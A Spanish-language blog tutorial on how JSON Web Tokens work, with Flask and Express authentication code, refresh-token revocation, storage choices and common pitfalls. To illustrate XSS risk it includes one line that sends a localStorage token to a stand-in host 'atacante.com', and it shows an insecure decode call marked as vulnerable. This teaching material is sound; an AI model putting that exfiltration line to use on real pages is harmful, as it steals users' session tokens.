Cómo funciona JWT (JSON Web Token) y cuándo usarlo para autenticación

D
DanisCh
(Actualizado: ) • 19 min de lectura
Cómo funciona JWT (JSON Web Token) y cuándo usarlo para autenticación

Cuando construyes una API REST o una aplicación con frontend separado del backend, necesitas un mecanismo para que el servidor sepa quién está haciendo cada petición sin que el usuario tenga que enviar su contraseña en cada una. JWT (JSON Web Token) es uno de los mecanismos más extendidos para resolver este problema, pero también uno de los más malentendidos y mal implementados.

En esta guía vas a entender qué es un JWT, cómo se construye por dentro, cómo se usa en el flujo de autenticación real, y cuándo tiene sentido usarlo frente a las sesiones tradicionales.

El problema que resuelve JWT

HTTP es un protocolo sin estado (stateless): cada petición es independiente y el servidor no recuerda la anterior. Para que una aplicación web reconozca a un usuario autenticado entre peticiones necesitas algún mecanismo de persistencia de identidad.

La solución clásica son las sesiones del lado del servidor: cuando el usuario inicia sesión, el servidor genera un ID de sesión, lo guarda en memoria o en base de datos, y lo envía al navegador como cookie. En cada petición el navegador envía la cookie, el servidor busca la sesión en su almacenamiento y sabe quién es el usuario.

Este modelo funciona bien para aplicaciones monolíticas, pero tiene fricción en arquitecturas modernas:

  • Si tienes múltiples instancias del servidor detrás de un balanceador de carga, necesitas un almacén de sesiones compartido (Redis, memcached) para que todas las instancias reconozcan la sesión.
  • Si tu API es consumida por aplicaciones móviles, SPAs o servicios de terceros, las cookies no siempre son el mecanismo más conveniente.
  • Si tienes microservicios, cada servicio necesitaría consultar el almacén de sesiones para cada petición.

JWT ofrece una alternativa: en lugar de que el servidor guarde el estado de la sesión, el estado se incluye dentro del propio token que el cliente lleva consigo. El servidor no necesita consultar ningún almacén para saber quién es el usuario: verifica la firma del token y lee los datos directamente de él.

La estructura de un JWT

Un JWT es una cadena de texto compuesta por tres partes separadas por puntos:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJub21icmUiOiJBbmEgR2FyY8OtYSIsInJvbCI6ImFkbWluIiwiaWF0IjoxNzE3MDAwMDAwLCJleHAiOjE3MTcwMDM2MDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

# Estructura: HEADER.PAYLOAD.SIGNATURE

Cada parte está codificada en Base64URL (una variante de Base64 segura para URLs). Base64URL no es cifrado, es solo una codificación: cualquiera puede decodificarlo. Por eso nunca debes incluir información sensible (contraseñas, datos de tarjeta) en el payload de un JWT.

1. Header (cabecera)

# Decodificando la primera parte:
import base64, json

header_b64 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
# Añadir padding si necesario
padding = 4 - len(header_b64) % 4
header_json = base64.urlsafe_b64decode(header_b64 + "=" * padding)
print(json.loads(header_json))

# Resultado:
{
  "alg": "HS256",   # algoritmo de firma: HMAC-SHA256
  "typ": "JWT"      # tipo de token
}

# Algoritmos comunes:
# HS256: HMAC con SHA-256 (clave simétrica: misma clave para firmar y verificar)
# RS256: RSA con SHA-256 (clave asimétrica: clave privada firma, pública verifica)
# ES256: ECDSA con SHA-256 (más eficiente que RSA)

2. Payload (cuerpo)

# Decodificando la segunda parte:
payload_b64 = "eyJzdWIiOiIxMjM0NTYiLCJub21icmUiOiJBbmEgR2FyY8OtYSIsInJvbCI6ImFkbWluIiwiaWF0IjoxNzE3MDAwMDAwLCJleHAiOjE3MTcwMDM2MDB9"
payload_json = base64.urlsafe_b64decode(payload_b64 + "==")
print(json.loads(payload_json))

# Resultado:
{
  "sub":    "123456",       # subject: ID del usuario (claim estándar)
  "nombre": "Ana García",  # claim personalizado
  "rol":    "admin",       # claim personalizado
  "iat":    1717000000,    # issued at: cuándo se emitió (Unix timestamp)
  "exp":    1717003600     # expiration: cuándo expira (Unix timestamp)
}

Los campos dentro del payload se llaman claims. Hay tres tipos:

  • Claims registrados: definidos por el estándar JWT. Los más importantes son sub (identificador del sujeto), exp (expiración), iat (emisión), nbf (no válido antes de), iss (emisor) y aud (audiencia).
  • Claims públicos: definidos en el registro IANA de JWT o con namespace para evitar colisiones.
  • Claims privados: datos específicos de tu aplicación acordados entre emisor y receptor.

3. Signature (firma)

# La firma se genera así (con HS256):
import hmac, hashlib

header_encoded  = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
payload_encoded = "eyJzdWIiOiIxMjM0NTYiLCJub21icmUiOiJBbmEiLCJleHAiOjE3MTcwMDM2MDB9"
clave_secreta   = b"mi_clave_secreta_muy_larga_y_aleatoria"

mensaje  = f"{header_encoded}.{payload_encoded}".encode()
firma    = hmac.new(clave_secreta, mensaje, hashlib.sha256).digest()

# La firma va codificada en Base64URL como tercera parte del token
import base64
firma_b64 = base64.urlsafe_b64encode(firma).rstrip(b'=').decode()

jwt_final = f"{header_encoded}.{payload_encoded}.{firma_b64}"

La firma garantiza la integridad del token: si alguien modifica cualquier bit del header o del payload, la firma deja de ser válida y el servidor rechaza el token. Nadie puede falsificar un JWT sin conocer la clave secreta.

Pero recuerda: la firma garantiza integridad, no confidencialidad. El contenido del payload es legible por cualquiera que tenga el token. Si necesitas que el contenido sea privado, usa JWE (JSON Web Encryption) en su lugar.

El flujo completo de autenticación con JWT

# Flujo estándar de autenticación con JWT:
#
# 1. Cliente envía credenciales al servidor
#    POST /login { email: "ana@mail.com", password: "secreta" }
#
# 2. Servidor verifica credenciales
#    - Busca al usuario en la BD
#    - Verifica el hash de la contraseña con bcrypt
#
# 3. Servidor genera el JWT y lo envía al cliente
#    { access_token: "eyJ...", expires_in: 3600 }
#
# 4. Cliente almacena el token y lo envía en cada petición
#    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
#
# 5. Servidor verifica la firma del token en cada petición
#    - Decodifica el header y payload
#    - Recalcula la firma con su clave secreta
#    - Compara con la firma del token recibido
#    - Verifica que no ha expirado
#    - Si todo está bien, extrae los datos del usuario del payload
#
# 6. Servidor procesa la petición con la identidad verificada
#    Sin consultar ninguna base de datos para la autenticación

Implementación en Python con PyJWT

# pip install PyJWT bcrypt flask

import jwt
import bcrypt
import os
from datetime import datetime, timezone, timedelta
from flask import Flask, request, jsonify, g
from functools import wraps

app    = Flask(__name__)

# La clave secreta debe ser larga, aleatoria y guardada como variable de entorno
# Nunca hardcodearla en el código
SECRET_KEY        = os.environ.get("JWT_SECRET_KEY")
ALGORITHM         = "HS256"
ACCESS_EXPIRATION  = timedelta(hours=1)
REFRESH_EXPIRATION = timedelta(days=30)


# ─── Generación de tokens ─────────────────────────────────────────────────────

def crear_access_token(usuario_id: int, email: str, rol: str) -> str:
    ahora = datetime.now(timezone.utc)
    payload = {
        "sub":   str(usuario_id),
        "email": email,
        "rol":   rol,
        "iat":   ahora,
        "exp":   ahora + ACCESS_EXPIRATION,
        "type":  "access"
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)


def crear_refresh_token(usuario_id: int) -> str:
    ahora = datetime.now(timezone.utc)
    payload = {
        "sub":  str(usuario_id),
        "iat":  ahora,
        "exp":  ahora + REFRESH_EXPIRATION,
        "type": "refresh"
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)


def verificar_token(token: str, tipo: str = "access") -> dict:
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])

        if payload.get("type") != tipo:
            raise jwt.InvalidTokenError("Tipo de token incorrecto")

        return payload

    except jwt.ExpiredSignatureError:
        raise ValueError("El token ha expirado")
    except jwt.InvalidTokenError as e:
        raise ValueError(f"Token inválido: {e}")


# ─── Decorador de autenticación ───────────────────────────────────────────────

def requiere_autenticacion(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        auth_header = request.headers.get("Authorization", "")

        if not auth_header.startswith("Bearer "):
            return jsonify({"error": "Token no proporcionado"}), 401

        token = auth_header.split(" ")[1]

        try:
            payload    = verificar_token(token, tipo="access")
            g.usuario  = payload   # disponible en el controlador como g.usuario
        except ValueError as e:
            return jsonify({"error": str(e)}), 401

        return f(*args, **kwargs)
    return wrapper


def requiere_rol(*roles):
    def decorator(f):
        @wraps(f)
        @requiere_autenticacion
        def wrapper(*args, **kwargs):
            if g.usuario.get("rol") not in roles:
                return jsonify({"error": "No tienes permisos para esta acción"}), 403
            return f(*args, **kwargs)
        return wrapper
    return decorator


# ─── Endpoints ────────────────────────────────────────────────────────────────

@app.route("/login", methods=["POST"])
def login():
    datos  = request.get_json()
    email  = datos.get("email", "").strip().lower()
    password = datos.get("password", "")

    if not email or not password:
        return jsonify({"error": "Email y contraseña requeridos"}), 400

    usuario = db.buscar_por_email(email)

    # Siempre verificar el hash aunque el usuario no exista (evitar timing attacks)
    hash_dummy = b"$2b$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
    hash_real  = usuario.password_hash if usuario else hash_dummy
    es_valido  = bcrypt.checkpw(password.encode(), hash_real) and usuario is not None

    if not es_valido:
        return jsonify({"error": "Credenciales incorrectas"}), 401

    access_token  = crear_access_token(usuario.id, usuario.email, usuario.rol)
    refresh_token = crear_refresh_token(usuario.id)

    # El refresh token se guarda en la BD para poder revocarlo
    db.guardar_refresh_token(usuario.id, refresh_token)

    return jsonify({
        "access_token":  access_token,
        "refresh_token": refresh_token,
        "expires_in":    3600,
        "token_type":    "Bearer"
    })


@app.route("/refresh", methods=["POST"])
def refresh():
    datos = request.get_json()
    refresh_token = datos.get("refresh_token", "")

    try:
        payload = verificar_token(refresh_token, tipo="refresh")
    except ValueError as e:
        return jsonify({"error": str(e)}), 401

    usuario_id = int(payload["sub"])

    # Verificar que el refresh token existe en la BD y no fue revocado
    if not db.refresh_token_valido(usuario_id, refresh_token):
        return jsonify({"error": "Refresh token revocado o no válido"}), 401

    usuario = db.buscar_por_id(usuario_id)
    nuevo_access_token = crear_access_token(usuario.id, usuario.email, usuario.rol)

    return jsonify({
        "access_token": nuevo_access_token,
        "expires_in":   3600,
        "token_type":   "Bearer"
    })


@app.route("/logout", methods=["POST"])
@requiere_autenticacion
def logout():
    datos         = request.get_json()
    refresh_token = datos.get("refresh_token", "")
    usuario_id    = int(g.usuario["sub"])

    # Revocar el refresh token en la BD
    db.revocar_refresh_token(usuario_id, refresh_token)

    return jsonify({"mensaje": "Sesión cerrada correctamente"})


@app.route("/perfil", methods=["GET"])
@requiere_autenticacion
def perfil():
    usuario_id = int(g.usuario["sub"])
    usuario    = db.buscar_por_id(usuario_id)
    return jsonify({"id": usuario.id, "email": usuario.email, "rol": usuario.rol})


@app.route("/admin/usuarios", methods=["GET"])
@requiere_rol("admin")
def listar_usuarios():
    return jsonify(db.listar_todos())

Implementación en Node.js con jsonwebtoken

// npm install jsonwebtoken bcrypt express

const jwt     = require('jsonwebtoken');
const bcrypt  = require('bcrypt');
const express = require('express');
const app     = express();
app.use(express.json());

const SECRET_KEY         = process.env.JWT_SECRET_KEY;
const ACCESS_EXPIRATION  = '1h';
const REFRESH_EXPIRATION = '30d';


// ─── Funciones de token ───────────────────────────────────────────────────────

function crearAccessToken(usuario) {
    return jwt.sign(
        {
            sub:   String(usuario.id),
            email: usuario.email,
            rol:   usuario.rol,
            type:  'access'
        },
        SECRET_KEY,
        { expiresIn: ACCESS_EXPIRATION, algorithm: 'HS256' }
    );
}

function crearRefreshToken(usuarioId) {
    return jwt.sign(
        { sub: String(usuarioId), type: 'refresh' },
        SECRET_KEY,
        { expiresIn: REFRESH_EXPIRATION, algorithm: 'HS256' }
    );
}

function verificarToken(token, tipo = 'access') {
    const payload = jwt.verify(token, SECRET_KEY, { algorithms: ['HS256'] });
    if (payload.type !== tipo) {
        throw new Error('Tipo de token incorrecto');
    }
    return payload;
}


// ─── Middleware de autenticación ──────────────────────────────────────────────

function autenticacion(req, res, next) {
    const authHeader = req.headers.authorization || '';

    if (!authHeader.startsWith('Bearer ')) {
        return res.status(401).json({ error: 'Token no proporcionado' });
    }

    const token = authHeader.split(' ')[1];

    try {
        req.usuario = verificarToken(token, 'access');
        next();
    } catch (err) {
        if (err.name === 'TokenExpiredError') {
            return res.status(401).json({ error: 'El token ha expirado', code: 'TOKEN_EXPIRED' });
        }
        return res.status(401).json({ error: 'Token inválido' });
    }
}

function requiereRol(...roles) {
    return [
        autenticacion,
        (req, res, next) => {
            if (!roles.includes(req.usuario.rol)) {
                return res.status(403).json({ error: 'No tienes permisos para esta acción' });
            }
            next();
        }
    ];
}


// ─── Endpoints ────────────────────────────────────────────────────────────────

app.post('/login', async (req, res) => {
    const { email, password } = req.body;

    if (!email || !password) {
        return res.status(400).json({ error: 'Email y contraseña requeridos' });
    }

    const usuario = await db.usuarios.findByEmail(email?.toLowerCase().trim());

    const hashDummy  = '$2b$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy';
    const hashReal   = usuario?.passwordHash ?? hashDummy;
    const esValido   = await bcrypt.compare(password, hashReal) && !!usuario;

    if (!esValido) {
        return res.status(401).json({ error: 'Credenciales incorrectas' });
    }

    const accessToken  = crearAccessToken(usuario);
    const refreshToken = crearRefreshToken(usuario.id);

    await db.refreshTokens.guardar(usuario.id, refreshToken);

    res.json({
        access_token:  accessToken,
        refresh_token: refreshToken,
        expires_in:    3600,
        token_type:    'Bearer'
    });
});


app.post('/refresh', async (req, res) => {
    const { refresh_token } = req.body;

    try {
        const payload = verificarToken(refresh_token, 'refresh');
        const usuarioId = parseInt(payload.sub);

        const esValido = await db.refreshTokens.esValido(usuarioId, refresh_token);
        if (!esValido) {
            return res.status(401).json({ error: 'Refresh token revocado' });
        }

        const usuario       = await db.usuarios.findById(usuarioId);
        const accessToken   = crearAccessToken(usuario);

        res.json({ access_token: accessToken, expires_in: 3600, token_type: 'Bearer' });

    } catch (err) {
        res.status(401).json({ error: 'Refresh token inválido o expirado' });
    }
});


app.get('/perfil', autenticacion, async (req, res) => {
    const usuario = await db.usuarios.findById(parseInt(req.usuario.sub));
    res.json({ id: usuario.id, email: usuario.email, rol: usuario.rol });
});


app.get('/admin/usuarios', ...requiereRol('admin'), async (req, res) => {
    res.json(await db.usuarios.findAll());
});

El problema de la revocación y los refresh tokens

La ventaja de JWT (que el servidor no necesita almacenar estado) es también su principal limitación: no puedes invalidar un token antes de que expire. Si un usuario cierra sesión o si detectas que su cuenta fue comprometida, el access token sigue siendo válido hasta su fecha de expiración.

La solución estándar es el patrón de access token + refresh token:

  • El access token tiene una vida muy corta (5–60 minutos). Como expira pronto, el daño de que sea robado es limitado.
  • El refresh token tiene una vida larga (días o semanas) y se guarda en la base de datos del servidor. Cuando el access token expira, el cliente pide uno nuevo presentando el refresh token. Al hacer logout o detectar actividad sospechosa, se revoca el refresh token en la BD, y el usuario no puede obtener nuevos access tokens.
# Esquema de base de datos para refresh tokens
CREATE TABLE refresh_tokens (
  id          INT PRIMARY KEY AUTO_INCREMENT,
  usuario_id  INT NOT NULL REFERENCES usuarios(id),
  token       VARCHAR(512) NOT NULL UNIQUE,
  expira_en   TIMESTAMP NOT NULL,
  revocado    BOOLEAN DEFAULT FALSE,
  creado_en   TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  ip_creacion VARCHAR(45),
  user_agent  VARCHAR(255),
  INDEX idx_usuario_id (usuario_id),
  INDEX idx_token (token(255))
);

-- Revocar todos los tokens de un usuario al detectar compromiso
UPDATE refresh_tokens
SET revocado = TRUE
WHERE usuario_id = ?;

-- Limpiar tokens expirados periódicamente
DELETE FROM refresh_tokens
WHERE expira_en < NOW() OR revocado = TRUE;

Dónde almacenar los tokens en el cliente

Esta es una de las decisiones más debatidas en seguridad de aplicaciones web y no tiene una respuesta única. Hay dos opciones principales, cada una con sus compromisos.

localStorage / sessionStorage

La opción más común en tutoriales y la más fácil de implementar. El token se guarda con JavaScript y se envía manualmente en la cabecera Authorization.

Vulnerabilidad: cualquier JavaScript ejecutado en la página puede leer localStorage. Un ataque XSS exitoso puede robar el token con una sola línea de código y enviarlo a un servidor externo.

// ❌ INSEGURO: guardar el JWT en localStorage
localStorage.setItem('access_token', token);

// Un script XSS puede hacer esto:
fetch('https://atacante.com/robar?token=' + localStorage.getItem('access_token'));

// ✅ Alternativa: solo guardar en memoria durante la sesión (se pierde al recargar)
// Para persistencia, combinarlo con un refresh token en cookie HttpOnly
let accessToken = null;   // en memoria

function setToken(token) { accessToken = token; }
function getToken()      { return accessToken; }

Cookies HttpOnly

El servidor envía el token en una cookie con el atributo HttpOnly, lo que significa que JavaScript no puede leerla. Esto la hace inmune a XSS. El navegador la envía automáticamente en cada petición al mismo dominio.

Vulnerabilidad: las cookies son susceptibles a CSRF (Cross-Site Request Forgery): un sitio malicioso puede hacer que el navegador del usuario envíe una petición a tu API con la cookie adjunta. Se mitiga con el atributo SameSite=Strict o con tokens CSRF.

# ✅ RECOMENDADO para apps web: refresh token en cookie HttpOnly
# El access token va en memoria (JavaScript), el refresh token en cookie

from flask import make_response

@app.route("/login", methods=["POST"])
def login():
    # ... verificar credenciales ...

    access_token  = crear_access_token(usuario)
    refresh_token = crear_refresh_token(usuario.id)

    response = make_response(jsonify({
        "access_token": access_token,
        "expires_in":   900   # 15 minutos
    }))

    # Refresh token en cookie segura: JavaScript no puede leerla ni robarla
    response.set_cookie(
        "refresh_token",
        refresh_token,
        httponly=True,        # no accesible desde JavaScript
        secure=True,          # solo enviada por HTTPS
        samesite="Strict",    # no enviada en peticiones cross-site (protección CSRF)
        max_age=30*24*3600,   # 30 días
        path="/refresh"       # solo enviada al endpoint de refresh, no a todos
    )

    return response

Algoritmos de firma: HS256 vs RS256

La elección del algoritmo de firma tiene implicaciones importantes según la arquitectura de tu sistema.

HS256 (HMAC-SHA256): usa la misma clave secreta para firmar y verificar. Es más simple y eficiente. Todos los servicios que necesiten verificar el token deben conocer la clave secreta. Adecuado cuando el mismo servicio emite y verifica los tokens.

RS256 (RSA-SHA256): usa un par de claves: la privada firma y la pública verifica. El servicio de autenticación guarda la clave privada y publica la clave pública (a menudo como JWKS - JSON Web Key Set). Cualquier microservicio puede verificar tokens usando solo la clave pública, sin necesidad de conocer el secreto. Adecuado para arquitecturas de microservicios o cuando necesitas delegar la verificación a terceros.

# Python: RS256 con claves asimétricas
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Generar par de claves (hacerlo una sola vez y guardar en archivos)
from cryptography.hazmat.primitives.asymmetric import rsa

private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
    backend=default_backend()
)

# Exportar a PEM
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)
public_pem = private_key.public_key().public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# Firmar con clave privada
token = jwt.encode(payload, private_pem, algorithm="RS256")

# Verificar con clave pública (cualquier servicio puede hacerlo)
payload = jwt.decode(token, public_pem, algorithms=["RS256"])

Errores comunes y cómo evitarlos

No verificar el algoritmo al decodificar. El header del JWT especifica el algoritmo. Si no lo verificas, un atacante puede enviar un token con "alg": "none" (sin firma) y el servidor lo aceptaría. Siempre especifica los algoritmos permitidos.

# ❌ VULNERABLE: no especifica algoritmos permitidos
payload = jwt.decode(token, SECRET_KEY)

# ✅ SEGURO: lista explícita de algoritmos aceptados
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# Si el token lleva "alg": "none" o "alg": "RS256", será rechazado

Access tokens con vida demasiado larga. Un access token que dura 24 horas o 7 días elimina la principal ventaja de seguridad del patrón access/refresh. Si el token es robado, el atacante tiene acceso durante todo ese tiempo sin que puedas hacer nada.

# ❌ Demasiado tiempo: da ventana muy larga al atacante si el token es robado
ACCESS_EXPIRATION = timedelta(days=7)

# ✅ Equilibrio seguridad/usabilidad
ACCESS_EXPIRATION  = timedelta(minutes=15)   # muy seguro
ACCESS_EXPIRATION  = timedelta(hours=1)      # balance razonable para la mayoría de apps

Incluir datos sensibles en el payload. El payload es solo codificado en Base64, no cifrado. Cualquiera que tenga el token puede leer su contenido.

# ❌ NUNCA incluir en el payload:
{
  "password_hash": "$2b$12$...",   # datos de autenticación
  "numero_tarjeta": "4111...",     # datos financieros
  "token_bancario": "...",         # credenciales de terceros
}

# ✅ Solo incluir lo necesario para autorizar peticiones:
{
  "sub":   "123456",    # ID del usuario (referencia, no datos sensibles)
  "rol":   "admin",     # permisos necesarios para tomar decisiones de autorización
  "email": "ana@...",   # solo si se usa frecuentemente y no es sensible en tu contexto
}

No validar los claims del payload. Verificar la firma no es suficiente: también debes validar que el token no ha expirado, que fue emitido para tu audiencia y que viene del emisor esperado.

# ✅ Validación completa de claims
payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
    options={
        "verify_exp": True,   # verificar expiración
        "verify_iat": True,   # verificar fecha de emisión
    },
    audience="mi-app",        # verificar que el token es para esta app
    issuer="auth.mi-app.com"  # verificar el emisor
)

JWT vs sesiones del lado del servidor: cuándo usar cada uno

CriterioSesiones del servidorJWT
Revocación inmediataSí, eliminar la sesión de la BDNo directa (requiere lista negra)
Escalabilidad horizontalRequiere almacén compartido (Redis)Stateless: cualquier instancia verifica
MicroserviciosCada servicio consulta el almacénCada servicio verifica la firma localmente
Información en el tokenSolo el ID (el resto en BD)Datos en el payload (sin consultar BD)
Consumo de memoria/BDUn registro por sesión activaSin estado (salvo refresh tokens)
Complejidad de implementaciónBajaMedia (access + refresh + rotación)
Ideal paraApps web tradicionales, monolitosAPIs REST, SPAs, apps móviles, microservicios

La sesión del lado del servidor no es una tecnología obsoleta. Para una aplicación web monolítica con un único servidor o con pocos usuarios, las sesiones con Redis son más simples de implementar correctamente y ofrecen revocación inmediata sin complejidad adicional. JWT brilla en APIs consumidas por múltiples clientes, arquitecturas de microservicios y cuando necesitas escalado horizontal sin almacén compartido.

Resumen

  • Un JWT es un token autocontenido con tres partes: header, payload y firma. El servidor verifica la firma sin consultar ninguna base de datos.
  • El payload es legible por cualquiera que tenga el token. Nunca incluyas datos sensibles en él.
  • Usa el patrón access token + refresh token: access token de vida corta (15–60 min) para autenticar peticiones, refresh token de vida larga guardado en BD para obtener nuevos access tokens y permitir revocación.
  • Guarda el refresh token en una cookie HttpOnly + Secure + SameSite. El access token puede ir en memoria o en localStorage, siendo memoria más seguro contra XSS.
  • Siempre especifica los algoritmos permitidos al verificar. Nunca aceptes "alg": "none".
  • Verifica siempre la expiración (exp), el emisor (iss) y la audiencia (aud) al decodificar.
  • JWT no es la única opción ni siempre la mejor. Para apps monolíticas, las sesiones del servidor con Redis son más simples y ofrecen revocación inmediata.

¿Te ha gustado esta entrada?

Compártela con tus compañeros para que también sigan aprendiendo.

Comunidad y Comentarios

0 COMENTARIOS

No hay comentarios todavía. Sé el primero en compartir tu opinión.

Escribe tu opinión
Respondiendo a